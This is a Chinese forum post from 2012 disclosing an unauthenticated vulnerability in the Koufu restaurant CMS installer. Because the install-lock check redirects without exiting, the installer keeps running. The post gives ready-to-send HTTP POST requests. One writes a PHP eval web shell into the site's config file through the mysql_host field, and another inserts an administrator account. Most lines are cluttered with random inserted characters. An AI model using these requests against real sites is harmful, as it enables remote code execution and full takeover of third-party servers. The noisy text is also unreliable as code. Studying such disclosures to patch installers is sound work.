找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2157|回复: 0
打印 上一主题 下一主题

口福科技餐厅cms漏洞(可getshell)

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-4 11:13:44 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
问题出在/install/index.php文件。在程序安装完后,会在程序根目录下生成install.lock文件。而/install/index.php在判断是否有install.lock时出现错误。
7 X# F  X& N  O4 ~' f. G
3 K% S; E" x4 b# q; J<?php
& p& n  R8 n* Z' q# _1 pif(file_exists("../install.lock"))4 {+ h, b' V' `1 \
{3 _5 B' T- o8 b7 }; k- K
    header("Location: ../");//没有退出
! o$ [: k- Y! l( m}
9 h# J& ]  g2 _; J8 ^, h3 R7 y               
* t( s0 E! w( l' C4 c- ?: A: g//echo 'tst';exit;- l; e. l) r1 Z, k0 r! u& i1 \
require_once("init.php");9 w- O# y/ y* A1 k
if(empty($_REQUEST['step']) || $_REQUEST['step']==1)+ ~3 E+ z0 L. W9 `+ }
{
  }9 H9 I! q' {7 H6 {可见在/install/index.php存在时,只是header做了302重定向并没有退出,也就是说下面的逻辑还是会执行的。在这里至少可以产生两个漏洞。
0 t3 e  G; d  f0 f( d9 `; f, d3 X' h: W# B6 i6 i/ M! z2 a+ \! W) v
1、getshell(很危险); L5 l, ]0 \3 L* s
if(empty($_REQUEST['step']) || $_REQUEST['step']==1)
* n4 D; E9 `7 G& F/ J* U{, N1 d; L- }( H
$smarty->assign("step",1);
) `5 U5 S3 p4 ^5 J5 w3 R$smarty->display("index.html");" K( A3 E9 M5 v2 `, D9 G. k6 x" x+ W
}elseif($_REQUEST['step']==2)& c$ i& o+ J1 B+ [( i* w7 V
{* i5 j) @3 z+ F7 z% u9 {
    $mysql_host=trim($_POST['mysql_host']);# ?; w- f; z9 v+ g3 \
    $mysql_user=trim($_POST['mysql_user']);# v, c, z; C# Z- j( S! Q
    $mysql_pwd=trim($_POST['mysql_pwd']);
0 J4 y( k" R5 |( N: x' _6 o    $mysql_db=trim($_POST['mysql_db']);
# k; s% d. ?% @  {    $tblpre=trim($_POST['tblpre']);2 f/ }2 s# }( p6 Z- H) [, b
    $domain==trim($_POST['domain']);" _) i% V8 D* q
    $str="<?php \r\n";
/ f; _* U5 B0 r% N- ~    $str.='define("MYSQL_HOST","'.$mysql_host.'");'."\r\n";
  K: q' C9 }4 G4 v( u" _: [    $str.='define("MYSQL_USER","'.$mysql_user.'");'."\r\n";1 t8 Q# H4 \9 W/ ~- e8 t
    $str.='define("MYSQL_PWD","'.$mysql_pwd.'");'."\r\n";
- L. D- k# z2 J7 ^1 T    $str.='define("MYSQL_DB","'.$mysql_db.'");'."\r\n";, h) `& O- Z5 }/ j
    $str.='define("MYSQL_CHARSET","GBK");'."\r\n";
9 [" U! j( Q$ F! G+ y3 o; u    $str.='define("TABLE_PRE","'.$tblpre.'");'."\r\n";# \8 V/ {3 G- a" r0 Z
    $str.='define("DOMAIN","'.$domain.'");'."\r\n";
! ?; L) H4 a3 c    $str.='define("SKINS","default");'."\r\n";
. @7 F% p: N+ L- X8 f    $str.='?>';
' `% g8 }) z' J3 z/ i! H    file_put_contents("../config/config.inc.php",$str);//将提交的数据写入php文件; v  f' s5 X# o
上面的代码将POST的数据直接写入了../config/config.inc.php文件,那么我们提交如下POST包,即可获得一句话木马& j) U" G& p# Y+ @' g
POST /canting/install/index.php?m=index&step=2 HTTP/1.15 m, ]& d% b3 f$ Q  A8 g" q
Host: 192.168.80.129
* u0 j# K0 g1 Q, O+ j; |5 qUser-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.0! s* S) j, t+ U# b% A+ M
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
5 J/ b- j! t9 ]% C7 g# KAccept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
; a/ L+ a7 O: t! T4 g# }Accept-Encoding: gzip, deflate
* ^8 e. q+ |# i7 }  Z. l& kReferer: http://192.168.80.129/canting/install/index.php?step=1
( J9 \! d8 t3 zCookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc42; k9 ~$ c/ k9 g: f; V( e4 a
Content-Type: application/x-www-form-urlencoded; s# `, q& _& m) f2 Z3 V  z
Content-Length: 126
  y! [5 O4 g: M8 K( _! i0 c; d          * Z" q& ^. W) E
mysql_host=test");@eval($_POST[x]);?>//&mysql_user=1&mysql_pwd=2&mysql_db=3&tblpre=koufu_&domain=www&button=%CF%C2%D2%BB%B2%BD
" d" j6 S. Y+ W( ?但是这个方法很危险,将导致网站无法运行。8 R6 M3 ^0 }6 @$ a

; X& `4 u4 M5 Y3 F6 u* S- F2、直接添加管理员
. j. H* `, C5 _3 O8 j4 Q/ K" Z+ e# e* d1 ~& G* Z/ u' ^$ c
elseif($_REQUEST['step']==5)6 y+ o1 j' C0 y! Z5 z, f
{, ^* V# ?* `& @9 v
    if($_POST)
9 P9 b; p% b, E( z! I    {   require_once("../config/config.inc.php");. m4 n- j' @  Q3 Y! Y+ W
        $link=mysql_connect(MYSQL_HOST,MYSQL_USER,MYSQL_PWD);+ a( {: ^/ e" _9 I& _1 u$ E& O& z
        mysql_select_db(MYSQL_DB,$link);
2 u, m' U3 o7 W: O6 ^        mysql_query("SET NAMES ".MYSQL_CHARSET );
4 m) u8 x$ t8 ^' c         mysql_query("SET sql_mode=''");
% G9 ?* k  g7 a* Q
# S3 l6 b8 |6 w) Q6 h/ d9 | $adminname=trim($_POST['adminname']);$ P" [$ I( n, ?" Q7 [' q1 [
        $pwd1=trim($_POST['pwd1']);
4 m4 F  X) J- O( ^+ @# M4 L        $pwd2=trim($_POST['pwd2']);' H8 ^7 k4 e# h9 l! D
        if(empty($adminname))( a6 x3 s* D1 G  z, G6 n
        {' o( v8 x2 f6 O/ r8 S1 J6 v

+ s$ x$ E* A. u  N9 [. e echo "<script>alert('管理员不能为空');history.go(-1);</script>";+ k8 V* k$ v) R0 G% x; f7 v1 I
            exit();
; K. H8 m. T9 \, P. \, `        }
4 S$ Q, H, Y6 |0 m  |' L        if(($pwd1!=$pwd2) or empty($pwd1))  V$ M- A6 ^  |& t+ c& @
        {
9 ~# s( f; [# w1 N: h) X  |* N            echo "<script>alert('两次输入的密码不一致');history.go(-1);</script>";//这里也是没有退出  S: \3 {$ K- y4 \9 A
        }
" R+ ^2 c# P1 X4 ^) [/ ?        mysql_query("insert into ".TABLE_PRE."admin(adminname,password,isfounder) values('$adminname','".umd5($pwd1)."',1)");//直接可以插入一个管理员  u+ y( @* ?7 D. h* i6 A3 _
    }
) b! g" S) ]: |0 Q; X这样的话我们就可以直接插入一个qingshen/qingshen的管理员帐号,语句如下:
4 O0 \5 q' ^- M, Y- y6 H2 e: e  WPOST /canting/install/index.php?m=index&step=5 HTTP/1.1
: ~* S: p  }2 B8 j( X( t) e, FHost: 192.168.80.129
- Y: Q+ r+ E1 oUser-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.0) @3 ]9 _' u+ s. D
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8( M+ o0 W) R/ x2 k! `
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
8 ~8 x8 H6 Q6 ?; A9 A8 V, j. HAccept-Encoding: gzip, deflate
; A& [, G7 J9 O/ G8 B8 qReferer: http://www.2cto.com /canting/install/index.php?step=1' C7 Q: v: E: k7 U+ {9 Y9 T3 C  s1 T5 d
Cookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc42
2 R$ _9 `$ l9 XContent-Type: application/x-www-form-urlencoded
3 M+ {: d! N$ i6 D/ i& N9 iContent-Length: 46
2 e, v& ~* d* [9 V      
5 F3 g2 n" k/ E4 \8 x: xadminname=qingshen&pwd1=qingshen&pwd2=qingshen​
0 @8 H, q5 M* `1 T
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表